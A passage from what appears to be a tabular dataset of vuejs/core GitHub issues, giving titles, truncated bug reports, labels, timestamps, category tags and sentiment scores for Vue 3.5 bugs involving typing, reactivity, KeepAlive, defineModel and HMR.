            return this.msg
          },
        },
        template: `<div></div>`,
      })
    }
```
- Notice the error on `return this.msg` from the language server or run the type-checker (`npm run type-check`) 
- Does not occur on Vue 3.4, does occur on Vue 3.5 without `noImplicitThis` `false` (default is `true`)

### What is expected?

I expect no type errors 


### What is actually happe... [TRUNCATED]",,2025-12-03 13:50:47+00:00,2025-12-04 00:07:52+00:00,1,nan,0.4285,embedded components this is typed incorrectly after upgrade vue version link to within an options api component define a method e g with the following contents notice the error on from the language server or run the type checker does not occur on vue does occur on vue without default is what is expected i expect no type errors what is actually happe truncated,others,-0.765
vuejs/core,3685295690,@vue/compiler-core incompatible with Node.js 24 - entities package ERR_PACKAGE_PATH_NOT_EXPORTED,"### Vue version

3.5.25

### Link to minimal reproduction

Any Vue/Nuxt project with Node.js 24

### Steps to reproduce

1. Use Node.js v24.x (tested on v24.11.0)
2. Create or use any Vue 3.5.x project
3. Run `npm install` or `pnpm install`
4. Start the dev server or build

### What is expected?

Vue should work with Node.js 24

### What is actually happening?

```
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath './lib/decode.js' is not defined by ""exports"" in node_modules/@vue/compiler-core/node_modules/entities/package.json
    at exportsNotFound (node:internal/modules/esm/resolve:313:10)
    at packageExportsResolve (node:internal/modules/esm/resolve:661:9)
```

Node.js 24 enforces stricter ESM exports validation. The `entities@4.5.0` package (dependency of `@vue/compiler-core`) uses internal paths like `./lib/decode.js` that aren't properly exported in its package.json.

### System Info

```
Node.js: v24.11.0
Vue: 3.5.25
@vue/compiler-core: 3.5.25
entities: 4.5.0 (pinned by @vue/compiler-core)
```

### Any additional comments?

The `entities` package has been updated significantly - current version is **v7.0.0** with proper exports field. However `@vue/compiler-core` is pinned to `entities@^4.5.0`.

**Suggested fix:** Update `@vue/compiler-core` dependency to `entities@^5.0.0` or higher (v5+ has proper ESM exports).

**Current workaround:** Use Node.js 22 LTS instead of Node.js 24",,2025-12-02 11:00:49+00:00,2025-12-15 07:47:57+00:00,2,nan,12.8661,vue compiler core incompatible with node js entities package err package path not exported vue version link to any vue nuxt project with node js use node js v x tested on v create or use any vue x project run or start the dev server or build what is expected vue should work with node js what is actually happening node js enforces stricter esm exports validation the package dependency of uses internal paths like that aren t properly exported in its package json system info any additional comments the package has been updated significantly current version is v with proper exports field however is pinned to suggested fix update dependency to or higher v has proper esm exports current workaround use node js lts instead of node js,others,0.8271
vuejs/core,3677950456,`defineModel`: assigned value not immediately reflected when reading `.value` synchronously (but UI updates correctly),"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUk1v1DAQ/SteX7IrbRMhOG3TFVBVAiQ+BEhcfHGdSerWsS1/hEVR/jtjZzctK6jEzZ73ZubNzBvpG2vLIQLd0doLJ20gHkK0e6Zlb40LZCQOWjKR1pmeFEgtFuja9PYYL6v0SZUQFkb7QBoeOLlK2euWKw8bpk9Q77sjUrwDpQz5YZxqVgVS6mqWgQLwE6C3igfAHyH13Yv9OObkaaor/OWo1DYGMlz0pgF1xSjijJJqBrPEI7aT/oJbqyQ0SEvyjry6etKHbmnwKLOVXXnvjcbNjKkUowJrSQXusw0Sx2B0RzKSMI5T/PyQY8FF2J7i4g7Ew1/i9/6QYox+ceDBDcDoggXuOggzfPPtExzwvYA4SVTIfgb8Ct6omDTOtLdRNyj7CS+rfZ+PKHX33d8cAmh/GioJTcwp8xnFo6Y1/mv0R7kvy1c5j+kJt3gyxLm1iOK6wwMELIP7nh0hPRoxXQZ90UArNXxMJ6tvjVHA9X5dLIxii55EDo8q7Ei2Fpk2l8kvTLdRiySRpEP/Wm9mmakH1imV6dZLnXLgKsLmklQVgYMFEbB7LpdSzmgoa3UWwo7/UzmfHz0vQA6PjXBXzzm+kUN+4PM2hoBzvRZKigdcXx4QN3id/qu6mvE5rZrz/vT19Bt8KlTb

### Steps to reproduce

1. Create a parent component with a ref bound to a child using `v-model:is-applied`
2. In the child, define the model with `defineModel<boolean>('isApplied', { default: false })`
3. Create a function that logs the value, updates it, then logs it again immediately after
4. Click the button to trigger the function
5. Check the console - the second log will show the old value instead of the new one

### What is expected?

After I assign a new value to the model, I should be able to read it right away. It should work like a normal ref - the value updates immediately and I can use it in the same function without waiting for nextTick.

The console should show:
```
Before: false
After: true
```

Not: 
```
Before: false
After: false
... [TRUNCATED]",,2025-11-30 15:53:01+00:00,2025-12-01 01:54:55+00:00,1,nan,0.418,assigned value not immediately reflected when reading synchronously but ui updates correctly vue version latest link to create a parent component with a ref bound to a child using in the child define the model with create a function that logs the value updates it then logs it again immediately after click the button to trigger the function check the console the second log will show the old value instead of the new one what is expected after i assign a new value to the model i should be able to read it right away it should work like a normal ref the value updates immediately and i can use it in the same function without waiting for nexttick the console should show not before false after false truncated,others,0.9668
vuejs/core,3677426335,The triggering sequence of the lifecycle is not intuitive and the document does not specify it specifically,"### Vue version

3.5.x

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuCLnaBwF4a7OLZ2dahh+3QFVt7E1CkNu2qkSVBH2mKwP+9lNy4SdH0kph875GPInf0p9bZxgMtaGlrw7UjFpzXSyZ5r5VxZGegHUhrVE8SJCYT8Ev1+jWf5SEIdZJvTDJZK2kd4Q2pCKrT+VlIlvnYAEtj4KDXYuUAI0LKe++ckuRHLXi9rhjlTVVV8+/4d17gz5zRZYRI/bCSHWDpMh81oz56KdbwHLWMElSRHLEynxrRGXUWnbW8yx6tkjjyLogZrVHNBZi/2nF0zmhBIhKwlRDq6U/MOeNhts/XD1CvP8g/2m3IMXptwILZAKMT5lamAzfCl/+vYIvfE9irxgtkfwL+A6uEDx5H2oWXDdo+4EW3v+N+uOxu7OXWgbT7oYLRwBwin1HcV3i4U6O/2V1ki6hjcsBX3O/6k5shSt7KXnnpoJlhcAGtMvCaIofndHAv2iht8WQaaLmE6xCl0QxvCnLl+3scVQ7xloJACciE6tIkNk9mUZ7xJhLetUzTs2o5TnYkfUc7KjJ2OhjkdJGJ8kGBk2d/fJp3GzBhUfioi+xrdv6FDi+HPzsa

### Steps to reproduce

see the console

### What is expected?

I guess it's because 'onunmouted' unloads responsive data, but it should be explained in the documentation, otherwise it doesn't follow the logic of deleting first and adding later

### What is actually happening?

the new component  setup will trigger in between the old component onBeforeUnmount and onUnmounted

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-30 06:08:21+00:00,2025-12-01 01:50:58+00:00,2,nan,0.8213,the triggering sequence of the lifecycle is not intuitive and the document does not specify it specifically vue version x link to see the console what is expected i guess it s because onunmouted unloads responsive data but it should be explained in the documentation otherwise it doesn t follow the logic of deleting first and adding later what is actually happening the new component setup will trigger in between the old component onbeforeunmount and onunmounted system info any additional comments no response,documentation,-0.2617
vuejs/core,3676611266,`defineModel()` leaks internal props into `props` (`defineProps()`),"### Vue version

3.5, 3.6

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1OwzAMfpXIp00aAWnAYRpIgHYACTYBN4JQ6bytW5pEiTuKqr47TquWHabd8v3Y/uxUcOec3BcIE5iG1GeOREAq3K0yqTWBhPPWBXEjlrjKDC4iGnwoSBR8DjtPbpeoe89zRAMWp+dtR+7FgDB3OiFkJERVifn3FlOSO/wNg2bIUNR1LDowwggo8IxVtpbbYA2nrGK5gtTmLtPo544yzqBgIholaonW9uep4cgXOOr4dIPp7gi/DWXkFCw8BvR7VNBrlPg1UivP3l6w5Hcv8t6FZvcJ8RWD1UXM2NruC7Pk2Ae+Ju1j7qynzKzfw6wkNKFbKgaNzrrxK+Cvejix+n/csbxs6pSp+Ypfe/SxJx9wLK/lxVmi3SaRV1D/Abp4qpU=

### Steps to reproduce

```
<script setup>
const props = defineProps([""a""])
const model = defineModel()
</script>

<template>
  {{ Object.keys(props) }}
</template>
```
see minimal reproduction

### What is expected?

only prop keys defined by `defineProps` (""a"") will be shown

### What is actually happening?

extra prop keys (`""modelValue"", ""modelModifiers""`) are shown

### System Info

```shell

```

### Any additional comments?

For actual case, I use `defineOptions({ inheritAttrs: false })` and `defineProps` to separate bindings for wrapper and content components. e.g.

```
<script setup>
defineOptions({ inheritAttrs: false })
const { prop1, prop2, ...props } = defineProps([""prop1"", ""prop2"", ""class"", ""style""])
const model = defineModel()
</script>

<template>
  {{ Object.keys(props) }}
  <div v-bind=""props"">
    <my-component v-bind=""$attrs""></my-component>
  </div>
</template>

```

I'll have to drop extra model keys (`""modelvalue"", ""modelmodifiers""`) from the `props` object, otherwise it will render ... [TRUNCATED]",,2025-11-29 10:39:51+00:00,2025-12-01 01:38:42+00:00,2,nan,1.6242,leaks internal props into vue version link to see what is expected only prop keys defined by a will be shown what is actually happening extra prop keys are shown system info any additional comments for actual case i use and to separate bindings for wrapper and content components e g i ll have to drop extra model keys from the object otherwise it will render truncated,others,-0.2732
vuejs/core,3656334970,Watch immediate: true and flush: 'post' don't compose well,"### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul2L2zAQ/CuLXpyA60Dv+pI6gbYctKVfXPMoKMZex7rKK6EPJyX4v3clN9ejlHuzZmZXM2NdxBtrqymi2Irat07ZAB5DtHtJarTGBbiAw76E6PGAo9VNwPt0PjWhHWCG3pkRCt5QSJLUGvIBxl8sgd0/M6si48X69VU3NZpVvH6VMEl554rRElZr2O3hIgmWbRWjEStFhO794fMnnmNkQXl2LuGixhE7xXdtg4tYQq+jH7ZQWONDMa8l1ZslIWfjQ/jjjE8AtSIb2dCL0XSod1LwYin29Sbji6RTU/LKZHbE9GFQHvxgou6o4OIGcwJD0CvH4RxSh67e8BjP15sn94lSBM8V9OpYPXhDXH5OKkVrRqs0uq82KK5Iiu3SQeIarc3pY8ZywCveDtj+/A/+4M8Jk+KbQ49uQikeudC4I4aFvvv+Bc/8/UhyB1Gz+hnyHr3RMXlcZG8jdWz7iS67/ZCfkKLjwd+dA5K/hkpGk3LOeq474rtnov+1e1Pd5jn+5dzijwld2skF3lSvqpe3Yv4NrUPyGA==

### Steps to reproduce

Write a `watch` with `{ immediate: true, flush: 'post' }`.

### What is expected?

The first call occurs after the first render. The DOM is always available in the callback.

### What is actually happening?

The first call occurs synchronously. I can't assume the DOM is available in the callback. I need a workaround to invoke my logic after the first render.

### System Info

```shell

```

### Any additional comments?

In my experience, a post watcher needs to _always_ have access to the DOM. And sometimes that watcher also needs to run after the first render. Adding `immediate: true` seems like the logical thing to do in this case, but that breaks the watcher since `flush: post` will not apply to the ""immediate"" call. It's difficult to imagine a scenario where the current behavior for this combination would be desirable.

I can thin... [TRUNCATED]",,2025-11-23 18:49:29+00:00,2025-11-24 01:11:43+00:00,2,nan,0.2654,watch immediate true and flush post don t compose well vue version link to write a with what is expected the first call occurs after the first render the dom is always available in the callback what is actually happening the first call occurs synchronously i can t assume the dom is available in the callback i need a workaround to invoke my logic after the first render system info any additional comments in my experience a post watcher needs to always have access to the dom and sometimes that watcher also needs to run after the first render adding seems like the logical thing to do in this case but that breaks the watcher since will not apply to the immediate call it s difficult to imagine a scenario where the current behavior for this combination would be desirable i can thin truncated,others,0.4404
vuejs/core,3655844410,Passing boolean props to elements is inconsistent,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucLk6BLBm2nYykxT4KbDtsQ1dghygHJ6ZTdbJkSHSaIvB/HyV/xA2KCIYhUY+P1CN5FJ+qaravUaRi4bdOVQQeqa6upVFlZR3BERwWU9jasqoJc2igcLaEhJ0SaaTZWuMJSr+DZUBOkm+otYW/1un8TXJ1guQZZR1mJQ3AMfwASJHGFJL7B+WBP0JPTAzQTFvABRy8H5DrUaSt1f4rFhxsFZ0rZyufwuRqed2ROX6jMz01QK58pjeYp0CuxtbaRGppmnVg7rkL5Tzd2Scm7yWZDMQdbRd/9W49i6En4el84hSbmKY0i3mrNuvMB8Ky0hkhnwAWlG102LZpLGhj8+fhGAwO9m8L65ZSKPYEZaK2UoxAAZZHuuGsDGfLnqXNUXe+s6iqFGPHdqVBEs4jZ2T/5ptZb3zVw9OzRoafXbAy51AWyLp00LLlDfrDDSQO8wS40LG0oxXrMV5nkc7CzF+qMY9yDBrOyZ0UnvcSx32nPu9OVRFTQZ4boFC72aO3hsclFlyK0ARKo/tVkeIGkSLtu0qKjAfh6Ue0hbbq+pl9HnD77xX7oz8EmxS/HXp0ey7McEeZ2yG117d/fuKB98Mll7QOZbxweYfe6jrk2MI+1ybntEe4mO33OPTK7O797YHQ+P5R/Vy0UykFj/+XC08/pfth9rEfJNH8BwgeXgE=

### Steps to reproduce

in a table data when rendering rows (using v-for) I want a function to read row data and give me proper props.
I use computed so it will be calculated on my ref object.

1- create a function for calculation of your target element props. it is used to read some data and return props.
2- use computed to calculate final static props.
3- pass props to **<input> element**  which is inside cell rows

### What is expected?

As you can see in reproduced link every thing is fine but one issue.
<input> element should be disabled.

look at here:
 ```
           :disabled=""firstRow?.disabled""
            :style=""{ color: firstRow?.disalbed ? 'red' : 'green' }""
```
color is red but input is not disa... [TRUNCATED]",,2025-11-23 11:06:29+00:00,2025-11-24 00:35:33+00:00,1,nan,0.5619,passing boolean props to elements is inconsistent vue version link to in a table data when rendering rows using v for i want a function to read row data and give me proper props i use computed so it will be calculated on my ref object create a function for calculation of your target element props it is used to read some data and return props use computed to calculate final static props pass props to element which is inside cell rows what is expected as you can see in reproduced link every thing is fine but one issue element should be disabled look at here color is red but input is not disa truncated,others,0.2732
vuejs/core,3651948616,Hot module reload causing error or not updating.,"### Vue version

v3.5.24

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-xavxdftq?file=src%2FApp.vue

### Steps to reproduce

Step 1: press on the increment button
Step 2: change This text in the .vue file
Step 3: The text should update but does not.

### What is expected?

The text saying: This text should update to the new text you replaced it with.

### What is actually happening?

I don't know why it doesn't work.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: hmr,:hammer: p3-minor-bug",2025-11-21 14:43:06+00:00,2025-12-18 08:23:26+00:00,2,"scope: hmr,:hammer: p3-minor-bug",26.7363,hot module reload causing error or not updating vue version v link to step press on the increment button step change this text in the vue file step the text should update but does not what is expected the text saying this text should update to the new text you replaced it with what is actually happening i don t know why it doesn t work system info any additional comments no response,bug,-0.5859
vuejs/core,3650400205,type of .$emit of Component Instance is Intersection of functions,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuEMMAJEDjoxy6ZY3QbcugO27D2Ng+Da9OpWlkSJMrLEOS/l5Lb1AXaHvXeI/keqb34bG0+BBQrURD2VtWEZaUBCqltIKD/FteVINxRJeAigfye4TCHdQnYS5plkW1ua73FbAE45G1N9bwSy7HRTSAyGi4aJZv7WDupHLnEcOkJF5UnxXJEubpYTjzx0zdOWgLFo6Ipz5Y8UrDMyt4aR7AHh90CWuykxg3P8HCAzpkeMk6ZxS6N0Z7SfFhPhcU+2p3hCl4GGmoVGPTkpN7OVzAY2R6VLwPIdgU69DfojrpDOZt/iklG72/leE5whap7dJwvH6+TcYd4CdicsudL9l/rBq8ZKSJsulRV/s4+xFjZn+lAseABnLmT2/zOG82XTkEr0ZjeSoXuhyXJO6nEChITuVop8+9bwsgFXDzhzS0296/gd34XsUr8dOjRDViJI0e12yJ/n0hvrr6nr3Qke9MGxep3yF/ojQrR4yj7EnTLtie65PYy7Y9vdO03O0Ltn0JFo1F5SPpK8EK/vhP92e5Zfp7q+Iq8xb8DutiTF3iWf8xPz8XhARL9E9g=

### Steps to reproduce

Mouseover the type `E2` of the reproduction above, and it's shown as `type E2 = ((event: ""textchange"", value: string) => void) & ((event: ""buttonclick"", id: number) => void)`

Generally: get the instance type of some component that has at least 2 emits and look at its .$emit

### What is expected?

Type of emitter functions are joined with union(`|`)

### What is actually happening?

They are joined with Intersection(`&`)

### System Info

```shell

```

### Any additional comments?

It results in misworking of `vue-component-type-helpers`'s `ComponentEmit<T>`",,2025-11-21 06:24:36+00:00,2025-11-21 08:14:24+00:00,2,nan,0.0762,type of emit of component instance is intersection of functions vue version link to mouseover the type of the reproduction above and it s shown as generally get the instance type of some component that has at least emits and look at its emit what is expected type of emitter functions are joined with union what is actually happening they are joined with intersection system info any additional comments it results in misworking of s,others,0.0
vuejs/core,3644763781,Deep readonly is not preserved through array iteration methods,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/SsjX0ghStiFvUBaaXfVw65WCwJudYWidNoaHNvyRymK8t8ZJ01bBOIQx37z3nw8u2E/jck2AdkVK1xlhfHg0Acz4UrURlsPDVhcprSUC63kawqVrk3wuIAWllbXcELyE664qrRyHqSgZbznJ6ROZk2bQv/NR6PrA3nI9a8XDcckGcF4Ag1XQFgkKnzZcWZz0kNXJtuUMmC21HZaVutkGzU7YmaCI2RXDCA/JRYkEj0ISnJ+Tb/iOIlEtfJrgs/ORn1heJ/rwJ2JeUwL0Ob5aR43liyzauBTrI2EIu8dJS/p4LE2svRIJ4Bi/W3SNL1XbVvkdDyC37nyMRxVs/M5jMcHxyI1Ynt2kR8VZCnzjoxcilX25LSi2+5G5CzqhUR7Y7wgozm7GobnrJRSv/ztMG8DpgNerbF6/gR/ctuIcXZr0aHdIGf7mC/tCn0fnt7/xy3t98FaL4Ik9hfBO3RahthjT/sV1ILaPuJ13f7p3qxQqwc33XpUbhgqNtpdWcfnjN7s7y9GP7R7kV12OrpTcvFxgzbmJAMvsh/Z90vWvgGg8xTu

### Steps to reproduce

The repro shows that computedList[0] and list[0] are not the same object when using list.value.forEach to push the array elements into another list.
If you uncomment the imperative style for loop (and comment the forEach) then you will see the computedList[0] and list[0] are now the same object.

### What is expected?

Both the initial code and the commented code should have the same effect i.e Accessing the array elements via forEach (or map, or filter, or find etc.) should return the same result as accessing via index.

### What is actually happening?

The elements in the callback of the .forEach are MutableReactiveHandler proxies (as can be confirmed by console.log). The elements accessed via index (and what you'd expect in a readonly array) are ReadonlyReactiveHandler proxies.
This seems to affect all th... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-11-19 23:19:31+00:00,2025-11-24 07:20:25+00:00,0,"scope: reactivity,:hammer: p3-minor-bug",4.334,deep readonly is not preserved through array iteration methods vue version link to the repro shows that computedlist and list are not the same object when using list value foreach to push the array elements into another list if you uncomment the imperative style for loop and comment the foreach then you will see the computedlist and list are now the same object what is expected both the initial code and the commented code should have the same effect i e accessing the array elements via foreach or map or filter or find etc should return the same result as accessing via index what is actually happening the elements in the callback of the foreach are mutablereactivehandler proxies as can be confirmed by console log the elements accessed via index and what you d expect in a readonly array are readonlyreactivehandler proxies this seems to affect all th truncated,bug,0.34
vuejs/core,3642846462,defineComponent: exposing properties breaks Options API typings,"### Vue version

3.5.24

### Link to minimal reproduction

https://www.typescriptlang.org/play/#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUGELgQ5YwA0cUGcAvnOlAXAOQBuArqkwFBeoAekWCgwBDNgBt4aTDnyFiMABSIucOAGdUMNmEUBKFWrUBjIuvgh1AczgBeChmVMAFqnHiITOHoDcqo6ZY5nCWVgBMdg7oTgDu0OLIXr7+apTaUFiIIdbkoRHUfmrUpP6UWGhQ+oZGMM7A6gB0oYU1dY15LcX+-JCaAFxwANrMoV4Auly0yUA

Thanks to @johnsoncodehk 

### Steps to reproduce

1. use `defineComponent` to define an Options API component with setup, data, props, methods, and computed, and have each option read something like `this.dataValue`.
2. Add `expose: ['setupValue']` to that component.
3. the `this` inside other options loses access to the usual props/setup/data/methods.

### What is expected?

Can access the properties with `this` inside the component even `expose` is defined

### What is actually happening?

Cannot access the properties with `this` if not defined in `expose` 

### Any additional comments?

Related:
https://github.com/vuejs/language-tools/issues/5069
https://github.com/vuejs/language-tools/pull/5763
https://github.com/vuejs/language-tools/pull/5758",scope: types,2025-11-19 13:54:16+00:00,2025-11-20 00:59:43+00:00,0,scope: types,0.4621,definecomponent exposing properties breaks options api typings vue version link to thanks to johnsoncodehk use to define an options api component with setup data props methods and computed and have each option read something like add to that component the inside other options loses access to the usual props setup data methods what is expected can access the properties with inside the component even is defined what is actually happening cannot access the properties with if not defined in any additional comments related,others,0.25
vuejs/core,3640495962,Unmounting a parent component fails when KeepAlive is used inside a v-for with non-reactive array,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01vnDAQ/SuWL7uRtrBse6IsUlrl0FZqqza3ugcKw64TYyPbkK0Q/z1jzEc+V7nheTNv3sw8OnpZ10HbAI1pYnLNa0sM2KZOmeRVrbQln1VVR6TUqiKrIBxermD1cc7oiIaS9GOOw5hkMlfSINlR3XmGvctaW93AhYOxyzWvQDV2vb4g+5R0TJIlPWgz0QAWlZkwwGS/IdF2u8XSJPQ6USE+LFS1yCzgi5DEd2rf8XLP6MzFKAk9XvAWUUDGtFTqX6aTEEOIJeEDIrqh1qD8kh+CG6Mk7mYQx2iOdFyA/lFbjuMxGnvZDsuEUHdfh5gbcjPF8yPkty/Eb8zJxRj9qcGAboHRGbOZPoD18NXv73DC7xmsVNEIzD4D/gKjROM0+rRPjSxQ9oO8Qe2X4X5cHq7N1cmCNNNQTqjL7Id8RvGmbpOvjb7IfR98GOrwYLjF2Szn3bV75K7d4K7JPxzvYtAGfxxtR3gRk2hDZFZBTFYWjI1Wrtvf877wR3Zik2OUouWjJMSPMbSg+PgGUF8K3gIapVQafeQkEC69FPRSfAv/x3DAC0bn2tGAu7RDoa6o7xM/0kIfzvxT99GBy9dTL85LebbFN45shLLTH/Bij/4elFpRJQ==

### Steps to reproduce

Check the playground example and observe that an error appears:
```
parentComponent.ctx.deactivate is not a function
```

### What is expected?

Instead of an error, it should be switching to a view that says ""foobar"". 

It shouldn't matter whether `items` is reactive or not.

### What is actually happening?

An error breaks the app when `App.vue` attempts to unmount the `Comp1` component:
```
parentComponent.ctx.deactivate is not a function
```

Wrapping the value of `items` in Comp1.vue with `reactive(...)` fixes it.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 3700X 8-Core Processor
    Memory: 11.80 GB / 31.92 GB
  Binaries:
    Node: 22.13.1 - C:\Program Files\nodejs\node.EXE
    npm: 10.9.2 - C... [TRUNCATED]",,2025-11-19 00:20:32+00:00,2025-11-19 04:02:34+00:00,3,nan,0.1542,unmounting a parent component fails when keepalive is used inside a v for with non reactive array vue version link to check the playground example and observe that an error appears what is expected instead of an error it should be switching to a view that says foobar it shouldn t matter whether is reactive or not what is actually happening an error breaks the app when attempts to unmount the component wrapping the value of in comp vue with fixes it system info shell system os windows cpu x amd ryzen x core processor memory gb gb binaries node c program files nodejs node exe npm c truncated,others,-0.8519
vuejs/core,3637331252,useTemplateRef doesn't work in a tsx script setup,"### Vue version

5.9.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fum0AQ/ZXRXsASxWrcE8VIbWUprpq0Sq2e9kJhwKSwi5Zdx5bFv3d2iW3sOJFyg5n33r59s7NnX9o23BhkEYu7TFWthg61aaFORTnnTHdbzhIuqqaVSsMe1gFIcSeN0JgHYDpcYdPWqcYHLKCHQskGPBL0PnPBRSZFp6HZLUVrtEXMLyjx7eruh+suamxQ6MT3mt2Hyla8CWkcFG5E/l4RolwRmql3CxFlJPTS0597mSOJ+bFDgcKCohs74Aw2aW2QyrfyCVKFsJOGkl1jXct46kDJNZsH7bXvDRYCGgIdEMG5s2A4IALOll4DRSWQDu0Hw8eJ+f4E5gnsuQCwJ8kaw1qWvveRBE5jCp2W5V7AbhxsNItXkTOHHIV9QvYTLuLp8NroadGPfh4B/QFchvgiQBsZ/U+T+K8aGN8kPU9B84Ko6hzrbDSUczw9Yt6inaV+QbOmR0ZZQMtBVy6qMnzspKANcrFylhGlqlH9bHVFkXAWDYHbXkren767mlYGg0M9W2P270r90e6fHeovhR2qDZk69nSqSqRkbHvx+x639H1sNjI3NaHfaD4gjctYjwPsqxE52R7hnNulW/1KlKtusdUousOlrFGL7B2eM9p6m9ZrVz/ZnYWfHI+eAuv/A5EJiYM=

### Steps to reproduce

- Open the console
- You should see only the first ref after '1'. The 2 other refs are `null`

### What is expected?

The refs `my2ndInputRef` and `my3rdInputRef` should have the input as a value also.

### What is actually happening?

They are `null`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-18 10:23:40+00:00,2025-11-18 13:39:55+00:00,2,nan,0.1363,usetemplateref doesn t work in a tsx script setup vue version link to open the console you should see only the first ref after the other refs are what is expected the refs and should have the input as a value also what is actually happening they are system info any additional comments no response,others,0.0516
vuejs/core,3631923135,"Multiple `export default` in `<script>` — JS throws, TS does not","### Version
3.5.24

### Reproduction link
[github.com](https://github.com/Fi2zz/vue-compiler-ts-multi-export-default)







### Steps to reproduce
1. Clone the repo: https://github.com/Fi2zz/vue-compiler-ts-multi-export-default
2. Install deps: `yarn install` (or `npm install`)
3. JS repro: `npx tsx compileJavascriptCode.ts`
   - Expected result: throws duplicate default export error
   - Actual result: `SyntaxError: [vue/compiler-sfc] Only one default export allowed per module.`
4. TS repro: `npx tsx compileTypescriptCode.ts`
   - Expected result: same error as JS (multiple default exports should be invalid)
   - Actual result: no error; logs include:
     - `lang-> ts`
     - `content->` followed by two `export default { ... }` blocks

### What is expected?
TypeScript and JavaScript should be consistent: when the same module contains multiple `export default` declarations, both should report an error.


### What is actually happening?
- JS: throws `DuplicateDefaultExport` (Only one default export allowed per module).
- TS: no error; `compileScript` returns content keeping both default exports.


---
This repro uses `vue/compiler-sfc` with `parse` + `compileScript`.
Files of interest:
- `src/ComponentVanilla.vue` (JS)
- `src/ComponentTS.vue` (TS)
- `compile.ts` (driver calling `parse`/`compileScript`)
```

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-11-17 06:24:16+00:00,2025-11-17 06:53:59+00:00,1,nan,0.0206,multiple in js throws ts does not version github com clone the repo install deps or js repro expected result throws duplicate default export error actual result ts repro expected result same error as js multiple default exports should be invalid actual result no error logs include followed by two blocks what is expected typescript and javascript should be consistent when the same module contains multiple declarations both should report an error what is actually happening js throws only one default export allowed per module ts no error returns content keeping both default exports this repro uses with files of interest js ts driver calling,others,-0.946
vuejs/core,3631568911,Teleport breaks template reactivity - DOM never re-renders despite reactive state updating correctly [BUG],"### Vue version

3.5.18

### Link to minimal reproduction

https://sfc.vuejs.org/#eNqVVm1v2zYQ/isEi6EJYMuO7aRpCyRAsQ/9UIzpgGFYP9AUZXFliSpJOU2M/vedSNqOm6Qv/WJJR/Lu4Z3vHm9ao9tGQ1NrW+kGyOTSgLYNmIVtKgXPnSk1NFprq1doFJmNUVswa0Bhw1YabOO4dRpcY2HdaG2sZmFpo6C2bFvBSmsDZa2whdK6Bjc3K+qGbdrWaN2suZVcoVH0Zy0bQxbQSAvO8BXLemMh12htjNWwbDS0SoPetGCtrRU8W0A3DdRKQaVhVWvdamOFBm1atm4NZS0UtYK6AaVZqJSFTavJsFZcN0pBbrQCa2Ct0bDSCtZa8wKqBiy0UisLayY0mrqWWqE2tF9joVS6NmAqTSu4g1xpBa3WoMjQKPpba1vbxijQleLdmHWt1caAWrNuK+g6xdu1hUYrq8C2WivwPSittKZYKliSQbLOtN6geeEMKWOqlQKzyUlbXbdaM0KtXaNqC6YxoPFx0zT0oHFdy6qxbJ1Bba0FI/FaCw1GK/bSaOZUCkMBjCl4oTeocK21JsUKjSXFZKYxEixLp6FSCta1BtNoeFYrlpqC+hVUNVsF3LdtwbvVUDOjFRQKVrWGSsFKK22tqRW0WrGPCnIFRu1rBU2toKo1tJZdKvDWaBZ02aZWa2grDa1WcKPFV1CDQ42RUNaaVGvI6xpcZeDZWpZm0FhZK0MLqJSFplZQKfLDV1OztmgrBde1Mra2sLKwUs5ACyulYKXhpdaE5/xca1hbQyGwNBdQ1OBqo0hpNBSV5r21omWlqBWYTas1K0bh2aqFXGsoK00LRr2mBdK1IlVBS2VZlsGaVMrCkmm0Zd2wVsGa/FeVhdpqaE2tYdVqvsJqDZmC0mq0S3Cae6Md0GYRP/m8xWe/M0rRf6UgV1qRu7Vqtaa3RjuwdaXBtIp0DVgLuq0V1K1m7+qWnKMVFJWGWitWmLzLFTSVgqIyYKyGvNGwJPdr8r9WsK4VLStFe1BUrK0VlLWCsmYH60qxAmRb1Jq8IQMrugdlDWTtujWmhaLWsG41LFvNii+gNmCsJv2tFSxrzSu0gly1YJSClVbsB+lpK81iUS0YpXgntYJVrdkbVVtUGla15r1Sa1BtwSpFPitYKg25VuzOolbwTLE/a82LfKW0Nc6wm8tKE45oFdlaSRZ+o1m7ldKgKw1lreHKKPJSawWFhjurybCCwqxqTQ6mGxaLgJSaXF5rUFqz9Aut2GutWZwrWvKZjSIrLcRaoQW1gqpWZKRlrXgJraCuFBjLzq0qzcYta+YeWTvN2tXsba1Y6BWvDZ8bVqXiQ9rSb1ozF+WaXFtWmo0PrqzhZeWqYW9VpUGxR/JKaXY0qxW52Gpot0qzcspKk08qzQazqjUvYMW+VJp9yBW7v1ZgjIan/wXt5wSh

### Steps to rep... [TRUNCATED]","need more info,can't reproduce",2025-11-17 03:17:33+00:00,2025-11-21 00:11:08+00:00,1,"need more info,can't reproduce",3.8705,teleport breaks template reactivity dom never re renders despite reactive state updating correctly bug vue version link to steps to rep truncated,bug,-0.4588
vuejs/core,3630946521,v-if throws an error if toggled off after the element has been removed from the DOM through other means,"### Version
3.5.24

### Reproduction link
